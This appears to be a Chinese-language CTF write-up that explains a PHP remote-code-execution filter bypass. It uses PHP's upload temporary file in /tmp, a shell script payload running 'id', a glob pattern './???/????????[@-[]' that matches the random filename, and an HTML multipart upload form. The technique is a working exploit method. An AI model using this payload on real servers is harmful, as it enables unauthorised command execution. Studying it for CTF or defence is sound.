rce臨時檔案上傳[RCE1]P8
/[A-Za-z0-9!~^|&]+/i 匹配了我能想到的所有繞過方法,想到臨時檔案上傳,是否可以執行/tmp/?????????這個檔案呢
/tmp/????????? 此檔案是php的一個預設臨時檔案,檔名是隨機的,如果php.ini沒有設定upload_tmp_dir的時候,預設會讀寫系統的臨時檔案目錄,(Windows 預設為 C:/windows/temp,Linux 為 /tmp)。
但是是當向伺服器上任意php檔案以multipart/form-data方式提交請求上傳資料時,才會產生臨時檔案,可以透過phpinfo.php的資訊洩露獲得臨時檔案的路徑,便可以讓我們構造payload。
php post上傳:建立臨時檔案 > 呼叫相關php指令碼 > 在phpinfo中回顯檔案資訊 > 刪除臨時檔案
在linux系統中./可執行可執行檔案,在檔案中執行一個執行shell指令碼的直譯器,直譯器有很多,例如:
#!/bin/sh
#!/bin/bash
#!/usr/bin/perl
#!/usr/bin/tcl
#!/bin/sed -f
#!/usr/awk -f
./shell的時候相當於/bin/bash shell
還有很多有意思的用法
https://zhuanlan.zhihu.com/p/666028747
臨時檔案內容:
#!/bin/sh
id
執行臨時檔案命令
./tmp/????????? 構造payload >> ./???/????????? >> ./???/????????[@-[]
由於/???/?????????無法精準匹配,但是這個臨時檔案的特點是大小寫字母混合隨機生成的,所以透過找到一個表示“大寫字母”的glob萬用字元,來實現精準匹配。
glob的萬用字元我們常用的有(* ? ** []) 在[1-9]中golb支援裡面表示一個範圍,可以使用ascii找到大寫字母範圍的一個字元,大寫字母的範圍位於"@"和[之間,並且不分字元前後順序。
構建資料包:
需要構造一個post上傳檔案的資料包,從網上隨便找一段html的檔案上傳程式碼,然後抓包攔截,把目標ip修改一下就好了。
我這裡程式碼是 multipart/form-data 的方式提交請求上傳資料的,別的我沒有試過不知道有沒有問題,注意在multipart/form-data方式中,作為分割使用的boundary字串比定義處前面多倆--
附上html程式碼:
<html>
<head></head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" /><br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>